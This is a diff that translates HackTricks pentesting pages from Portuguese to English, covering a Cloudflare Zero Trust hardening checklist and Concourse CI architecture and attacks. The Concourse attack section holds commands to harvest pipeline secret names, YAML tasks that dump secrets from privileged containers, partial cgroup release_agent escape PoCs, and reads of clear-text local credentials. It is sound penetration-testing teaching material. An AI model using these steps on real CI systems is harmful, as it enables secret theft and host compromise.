- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Em uma conta **Cloudflare Zero Trust Network** existem algumas **configurações e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
|
||||
In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
|
||||
|
||||
<figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Analytics
|
||||
|
||||
- [ ] Útil para **conhecer o ambiente**
|
||||
- [ ] Useful to **get to know the environment**
|
||||
|
||||
### **Gateway**
|
||||
|
||||
- [ ] Em **`Policies`** é possível gerar políticas para **restringir** por **DNS**, **rede** ou **HTTP** quem pode acessar aplicações.
|
||||
- Se utilizado, **políticas** podem ser criadas para **restringir** o acesso a sites maliciosos.
|
||||
- Isso é **relevante apenas se um gateway estiver sendo usado**, caso contrário, não há razão para criar políticas defensivas.
|
||||
- [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
|
||||
- If used, **policies** could be created to **restrict** the access to malicious sites.
|
||||
- This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
|
||||
|
||||
### Access
|
||||
|
||||
#### Applications
|
||||
|
||||
Em cada aplicação:
|
||||
On each application:
|
||||
|
||||
- [ ] Verifique **quem** pode acessar a aplicação nas **Policies** e verifique que **apenas** os **usuários** que **precisam de acesso** à aplicação possam acessar.
|
||||
- Para permitir o acesso, **`Access Groups`** serão utilizados (e **regras adicionais** também podem ser definidas)
|
||||
- [ ] Verifique os **provedores de identidade disponíveis** e certifique-se de que **não estão muito abertos**
|
||||
- [ ] Em **`Settings`**:
|
||||
- [ ] Verifique se **CORS não está habilitado** (se estiver habilitado, verifique se é **seguro** e não está permitindo tudo)
|
||||
- [ ] Os cookies devem ter o atributo **Strict Same-Site**, **HTTP Only** e o **binding cookie** deve estar **habilitado** se a aplicação for HTTP.
|
||||
- [ ] Considere habilitar também **Browser rendering** para melhor **proteção. Mais informações sobre** [**isolamento de navegador remoto aqui**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
- [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
|
||||
- To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
|
||||
- [ ] Check the **available identity providers** and make sure they **aren't too open**
|
||||
- [ ] In **`Settings`**:
|
||||
- [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
|
||||
- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
|
||||
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
|
||||
|
||||
#### **Access Groups**
|
||||
|
||||
- [ ] Verifique se os grupos de acesso gerados estão **corretamente restritos** aos usuários que devem permitir.
|
||||
- [ ] É especialmente importante verificar se o **grupo de acesso padrão não está muito aberto** (não está **permitindo muitas pessoas**) pois por **padrão** qualquer um nesse **grupo** poderá **acessar aplicações**.
|
||||
- Note que é possível dar **acesso** a **TODOS** e outras **políticas muito abertas** que não são recomendadas, a menos que 100% necessário.
|
||||
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
|
||||
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
|
||||
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
|
||||
|
||||
#### Service Auth
|
||||
|
||||
- [ ] Verifique se todos os tokens de serviço **expiram em 1 ano ou menos**
|
||||
- [ ] Check that all service tokens **expires in 1 year or less**
|
||||
|
||||
#### Tunnels
|
||||
|
||||
@@ -50,12 +50,15 @@ TODO
|
||||
|
||||
### Logs
|
||||
|
||||
- [ ] Você pode procurar por **ações inesperadas** de usuários
|
||||
- [ ] You could search for **unexpected actions** from users
|
||||
|
||||
### Settings
|
||||
|
||||
- [ ] Verifique o **tipo de plano**
|
||||
- [ ] É possível ver o **nome do proprietário do cartão de crédito**, **últimos 4 dígitos**, **data de expiração** e **endereço**
|
||||
- [ ] É recomendado **adicionar uma Expiração de Assento de Usuário** para remover usuários que realmente não utilizam este serviço
|
||||
- [ ] Check the **plan type**
|
||||
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
|
||||
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,33 +1,36 @@
|
||||
# Segurança do Concourse
|
||||
# Concourse Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
O Concourse permite que você **construa pipelines** para executar automaticamente testes, ações e criar imagens sempre que precisar (baseado em tempo, quando algo acontece...)
|
||||
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
|
||||
|
||||
## Arquitetura do Concourse
|
||||
## Concourse Architecture
|
||||
|
||||
Saiba como o ambiente do concourse é estruturado em:
|
||||
Learn how the concourse environment is structured in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-architecture.md
|
||||
{{#endref}}
|
||||
|
||||
## Laboratório do Concourse
|
||||
## Concourse Lab
|
||||
|
||||
Saiba como você pode executar um ambiente concourse localmente para fazer seus próprios testes em:
|
||||
Learn how you can run a concourse environment locally to do your own tests in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-lab-creation.md
|
||||
{{#endref}}
|
||||
|
||||
## Enumerar & Atacar o Concourse
|
||||
## Enumerate & Attack Concourse
|
||||
|
||||
Saiba como você pode enumerar o ambiente do concourse e abusar dele em:
|
||||
Learn how you can enumerate the concourse environment and abuse it in:
|
||||
|
||||
{{#ref}}
|
||||
concourse-enumeration-and-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,38 +1,42 @@
|
||||
# Arquitetura do Concourse
|
||||
# Concourse Architecture
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Arquitetura do Concourse
|
||||
## Concourse Architecture
|
||||
|
||||
[**Dados relevantes da documentação do Concourse:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Arquitetura
|
||||
|
||||
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
|
||||
|
||||
### Architecture
|
||||
|
||||
.png>)
|
||||
|
||||
#### ATC: interface web e agendador de builds
|
||||
#### ATC: web UI & build scheduler
|
||||
|
||||
O ATC é o coração do Concourse. Ele executa a **interface web e API** e é responsável por todo o **agendamento** de pipelines. Ele **se conecta ao PostgreSQL**, que usa para armazenar dados de pipeline (incluindo logs de build).
|
||||
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
|
||||
|
||||
A responsabilidade do [checker](https://concourse-ci.org/checker.html) é verificar continuamente novas versões de recursos. O [scheduler](https://concourse-ci.org/scheduler.html) é responsável por agendar builds para um trabalho e o [build tracker](https://concourse-ci.org/build-tracker.html) é responsável por executar quaisquer builds agendados. O [garbage collector](https://concourse-ci.org/garbage-collector.html) é o mecanismo de limpeza para remover quaisquer objetos não utilizados ou desatualizados, como contêineres e volumes.
|
||||
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
|
||||
|
||||
#### TSA: registro de workers e encaminhamento
|
||||
#### TSA: worker registration & forwarding
|
||||
|
||||
A TSA é um **servidor SSH personalizado** que é usado exclusivamente para **registrar** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) com o [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
|
||||
|
||||
A TSA, por **padrão, escuta na porta `2222`**, e geralmente está colocada junto com o [ATC](https://concourse-ci.org/internals.html#component-atc) e atrás de um balanceador de carga.
|
||||
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
|
||||
|
||||
A **TSA implementa CLI sobre a conexão SSH,** suportando [**esses comandos**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
|
||||
|
||||
#### Workers
|
||||
|
||||
Para executar tarefas, o Concourse deve ter alguns workers. Esses workers **se registram** via o [TSA](https://concourse-ci.org/internals.html#component-tsa) e executam os serviços [**Garden**](https://github.com/cloudfoundry-incubator/garden) e [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
|
||||
|
||||
- **Garden**: Esta é a **API de Gerenciamento de Contêineres**, geralmente executada na **porta 7777** via **HTTP**.
|
||||
- **Baggageclaim**: Esta é a **API de Gerenciamento de Volumes**, geralmente executada na **porta 7788** via **HTTP**.
|
||||
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
|
||||
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -4,47 +4,51 @@
|
||||
|
||||
## Concourse Enumeration & Attacks
|
||||
|
||||
|
||||
|
||||
### User Roles & Permissions
|
||||
|
||||
Concourse vem com cinco papéis:
|
||||
Concourse comes with five roles:
|
||||
|
||||
- _Concourse_ **Admin**: Este papel é concedido apenas aos proprietários da **equipe principal** (equipe inicial padrão do concourse). Os administradores podem **configurar outras equipes** (por exemplo: `fly set-team`, `fly destroy-team`...). As permissões deste papel não podem ser afetadas pelo RBAC.
|
||||
- **owner**: Os proprietários da equipe podem **modificar tudo dentro da equipe**.
|
||||
- **member**: Os membros da equipe podem **ler e escrever** dentro dos **ativos da equipe**, mas não podem modificar as configurações da equipe.
|
||||
- **pipeline-operator**: Os operadores de pipeline podem realizar **operações de pipeline** como acionar builds e fixar recursos, no entanto, não podem atualizar as configurações do pipeline.
|
||||
- **viewer**: Os visualizadores da equipe têm acesso **"somente leitura" a uma equipe** e seus pipelines.
|
||||
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
|
||||
- **owner**: Team owners can **modify everything within the team**.
|
||||
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
|
||||
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
|
||||
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
|
||||
|
||||
> [!NOTE]
|
||||
> Além disso, as **permissões dos papéis owner, member, pipeline-operator e viewer podem ser modificadas** configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
|
||||
|
||||
Note que o Concourse **agrupa pipelines dentro de Equipes**. Portanto, usuários pertencentes a uma Equipe poderão gerenciar esses pipelines e **várias Equipes** podem existir. Um usuário pode pertencer a várias Equipes e ter permissões diferentes dentro de cada uma delas.
|
||||
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
|
||||
|
||||
### Vars & Credential Manager
|
||||
|
||||
Nos configs YAML, você pode configurar valores usando a sintaxe `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[Da documentação:](https://concourse-ci.org/vars.html#var-syntax) O **source-name é opcional**, e se omitido, o [gerenciador de credenciais em todo o cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) será usado, ou o valor pode ser fornecido [estaticamente](https://concourse-ci.org/vars.html#static-vars).\
|
||||
O **_secret-field opcional**\_ especifica um campo no segredo buscado para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' da credencial buscada, se o campo existir.\
|
||||
Além disso, o _**secret-path**_ e _**secret-field**_ podem ser cercados por aspas duplas `"..."` se contiverem **caracteres especiais** como `.` e `:`. Por exemplo, `((source:"my.secret"."field:1"))` definirá o _secret-path_ como `my.secret` e o _secret-field_ como `field:1`.
|
||||
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
|
||||
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
|
||||
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
|
||||
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
|
||||
|
||||
#### Static Vars
|
||||
|
||||
Variáveis estáticas podem ser especificadas em **etapas de tarefas**:
|
||||
Static vars can be specified in **tasks steps**:
|
||||
|
||||
```yaml
|
||||
- task: unit-1.13
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
file: booklit/ci/unit.yml
|
||||
vars: { tag: 1.13 }
|
||||
```
|
||||
Ou usando os seguintes `fly` **argumentos**:
|
||||
|
||||
- `-v` ou `--var` `NAME=VALUE` define a string `VALUE` como o valor para a var `NAME`.
|
||||
- `-y` ou `--yaml-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var `NAME`.
|
||||
- `-i` ou `--instance-var` `NAME=VALUE` analisa `VALUE` como YAML e define como o valor para a var de instância `NAME`. Veja [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) para saber mais sobre vars de instância.
|
||||
- `-l` ou `--load-vars-from` `FILE` carrega `FILE`, um documento YAML contendo a correspondência de nomes de var para valores, e define todos eles.
|
||||
Or using the following `fly` **arguments**:
|
||||
|
||||
#### Gerenciamento de Credenciais
|
||||
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
|
||||
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
|
||||
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
|
||||
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
|
||||
|
||||
Existem diferentes maneiras de um **Gerenciador de Credenciais ser especificado** em um pipeline, leia como em [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Além disso, o Concourse suporta diferentes gerenciadores de credenciais:
|
||||
#### Credential Management
|
||||
|
||||
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
|
||||
Moreover, Concourse supports different credential managers:
|
||||
|
||||
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
|
||||
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
|
||||
@@ -57,64 +61,66 @@ Além disso, o Concourse suporta diferentes gerenciadores de credenciais:
|
||||
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que se você tiver algum tipo de **acesso de escrita ao Concourse**, pode criar jobs para **exfiltrar esses segredos**, pois o Concourse precisa ser capaz de acessá-los.
|
||||
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
|
||||
|
||||
### Enumeração do Concourse
|
||||
### Concourse Enumeration
|
||||
|
||||
Para enumerar um ambiente do concourse, você primeiro precisa **coletar credenciais válidas** ou encontrar um **token autenticado**, provavelmente em um arquivo de configuração `.flyrc`.
|
||||
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
|
||||
|
||||
#### Login e enumeração do Usuário Atual
|
||||
#### Login and Current User enum
|
||||
|
||||
- Para fazer login, você precisa saber o **endpoint**, o **nome da equipe** (o padrão é `main`) e uma **equipe à qual o usuário pertence**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Obter **alvos** configurados:
|
||||
- `fly targets`
|
||||
- Verificar se a **conexão do alvo configurado** ainda é **válida**:
|
||||
- `fly -t <target> status`
|
||||
- Obter **papel** do usuário em relação ao alvo indicado:
|
||||
- `fly -t <target> userinfo`
|
||||
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
|
||||
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
|
||||
- Get configured **targets**:
|
||||
- `fly targets`
|
||||
- Get if the configured **target connection** is still **valid**:
|
||||
- `fly -t <target> status`
|
||||
- Get **role** of the user against the indicated target:
|
||||
- `fly -t <target> userinfo`
|
||||
|
||||
> [!NOTE]
|
||||
> Note que o **token da API** é **salvo** em `$HOME/.flyrc` por padrão, ao invadir uma máquina você pode encontrar lá as credenciais.
|
||||
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
|
||||
|
||||
#### Equipes e Usuários
|
||||
#### Teams & Users
|
||||
|
||||
- Obter uma lista das Equipes
|
||||
- `fly -t <target> teams`
|
||||
- Obter papéis dentro da equipe
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Obter uma lista de usuários
|
||||
- `fly -t <target> active-users`
|
||||
- Get a list of the Teams
|
||||
- `fly -t <target> teams`
|
||||
- Get roles inside team
|
||||
- `fly -t <target> get-team -n <team-name>`
|
||||
- Get a list of users
|
||||
- `fly -t <target> active-users`
|
||||
|
||||
#### Pipelines
|
||||
|
||||
- **Listar** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Obter** yaml do pipeline (**informações sensíveis** podem ser encontradas na definição):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Obter todas as **vars declaradas na configuração do pipeline**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Obter todos os **nomes de segredos de pipelines usados** (se você puder criar/modificar um job ou sequestrar um contêiner, poderá exfiltrá-los):
|
||||
- **List** pipelines:
|
||||
- `fly -t <target> pipelines -a`
|
||||
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
|
||||
- `fly -t <target> get-pipeline -p <pipeline-name>`
|
||||
- Get all pipeline **config declared vars**
|
||||
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
|
||||
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
|
||||
|
||||
```bash
|
||||
rm /tmp/secrets.txt;
|
||||
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
echo $pipename;
|
||||
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
|
||||
echo "";
|
||||
done
|
||||
echo ""
|
||||
echo "ALL SECRETS"
|
||||
cat /tmp/secrets.txt | sort | uniq
|
||||
rm /tmp/secrets.txt
|
||||
```
|
||||
|
||||
#### Containers & Workers
|
||||
|
||||
- Listar **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- Listar **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- Listar **builds** (para ver o que está rodando):
|
||||
- `fly -t <target> builds`
|
||||
- List **workers**:
|
||||
- `fly -t <target> workers`
|
||||
- List **containers**:
|
||||
- `fly -t <target> containers`
|
||||
- List **builds** (to see what is running):
|
||||
- `fly -t <target> builds`
|
||||
|
||||
### Concourse Attacks
|
||||
|
||||
@@ -123,85 +129,92 @@ rm /tmp/secrets.txt
|
||||
- admin:admin
|
||||
- test:test
|
||||
|
||||
#### Enumeração de segredos e parâmetros
|
||||
#### Secrets and params enumeration
|
||||
|
||||
Na seção anterior, vimos como você pode **obter todos os nomes e variáveis dos segredos** usados pelo pipeline. As **variáveis podem conter informações sensíveis** e o nome dos **segredos será útil mais tarde para tentar roubá-los**.
|
||||
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
|
||||
|
||||
#### Sessão dentro de um container em execução ou recentemente executado
|
||||
#### Session inside running or recently run container
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
|
||||
|
||||
Se você tiver privilégios suficientes (**papel de membro ou mais**) você poderá **listar pipelines e papéis** e apenas obter uma **sessão dentro** do `<pipeline>/<job>` **container** usando:
|
||||
```bash
|
||||
fly -t tutorial intercept --job pipeline-name/job-name
|
||||
fly -t tutorial intercept # To be presented a prompt with all the options
|
||||
```
|
||||
Com essas permissões, você pode ser capaz de:
|
||||
|
||||
- **Roubar os segredos** dentro do **container**
|
||||
- Tentar **escapar** para o nó
|
||||
- Enumerar/Abusar do endpoint de **metadados da nuvem** (do pod e do nó, se possível)
|
||||
With these permissions you might be able to:
|
||||
|
||||
#### Criação/Modificação de Pipeline
|
||||
- **Steal the secrets** inside the **container**
|
||||
- Try to **escape** to the node
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
|
||||
|
||||
#### Pipeline Creation/Modification
|
||||
|
||||
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
|
||||
|
||||
Se você tiver privilégios suficientes (**papel de membro ou mais**), você poderá **criar/modificar novos pipelines.** Confira este exemplo:
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
echo "$SUPER_SECRET"
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
Com a **modificação/criação** de um novo pipeline, você poderá:
|
||||
|
||||
- **Roubar** os **segredos** (via ecoando-os ou entrando no contêiner e executando `env`)
|
||||
- **Escapar** para o **nó** (dando a você privilégios suficientes - `privileged: true`)
|
||||
- Enumerar/Abusar do endpoint de **metadados da nuvem** (do pod e do nó)
|
||||
- **Deletar** o pipeline criado
|
||||
With the **modification/creation** of a new pipeline you will be able to:
|
||||
|
||||
#### Executar Tarefa Personalizada
|
||||
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
|
||||
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
|
||||
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
|
||||
- **Delete** created pipeline
|
||||
|
||||
#### Execute Custom Task
|
||||
|
||||
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
|
||||
|
||||
Isso é semelhante ao método anterior, mas em vez de modificar/criar um novo pipeline inteiro, você pode **apenas executar uma tarefa personalizada** (que provavelmente será muito mais **furtiva**):
|
||||
```yaml
|
||||
# For more task_config options check https://concourse-ci.org/tasks.html
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
type: registry-image
|
||||
source:
|
||||
repository: ubuntu
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
env
|
||||
sleep 1000
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
fly -t tutorial execute --privileged --config task_config.yml
|
||||
```
|
||||
#### Escapando para o nó a partir de uma tarefa privilegiada
|
||||
|
||||
Nas seções anteriores, vimos como **executar uma tarefa privilegiada com concourse**. Isso não dará ao contêiner exatamente o mesmo acesso que a flag privilegiada em um contêiner docker. Por exemplo, você não verá o dispositivo do sistema de arquivos do nó em /dev, então a fuga pode ser mais "complexa".
|
||||
#### Escaping to the node from privileged task
|
||||
|
||||
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
|
||||
|
||||
In the following PoC we are going to use the release_agent to escape with some small modifications:
|
||||
|
||||
No seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações:
|
||||
```bash
|
||||
# Mounts the RDMA cgroup controller and create a child cgroup
|
||||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
@@ -259,12 +272,14 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Como você pode ter notado, isso é apenas uma [**escapada regular do release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) apenas modificando o caminho do cmd no nó
|
||||
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
|
||||
|
||||
#### Escapando para o nó a partir de um contêiner Worker
|
||||
#### Escaping to the node from a Worker container
|
||||
|
||||
A regular release_agent escape with a minor modification is enough for this:
|
||||
|
||||
Uma escapada regular do release_agent com uma modificação menor é suficiente para isso:
|
||||
```bash
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
|
||||
@@ -291,11 +306,13 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
# Reads the output
|
||||
cat /output
|
||||
```
|
||||
#### Escapando para o nó a partir do contêiner Web
|
||||
|
||||
Mesmo que o contêiner web tenha algumas defesas desativadas, **não está rodando como um contêiner privilegiado comum** (por exemplo, você **não pode** **montar** e as **capacidades** são muito **limitadas**, então todas as maneiras fáceis de escapar do contêiner são inúteis).
|
||||
#### Escaping to the node from the Web container
|
||||
|
||||
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
|
||||
|
||||
However, it stores **local credentials in clear text**:
|
||||
|
||||
No entanto, ele armazena **credenciais locais em texto claro**:
|
||||
```bash
|
||||
cat /concourse-auth/local-users
|
||||
test:test
|
||||
@@ -304,9 +321,11 @@ env | grep -i local_user
|
||||
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
|
||||
CONCOURSE_ADD_LOCAL_USER=test:test
|
||||
```
|
||||
Você pode usar essas credenciais para **fazer login no servidor web** e **criar um contêiner privilegiado e escapar para o nó**.
|
||||
|
||||
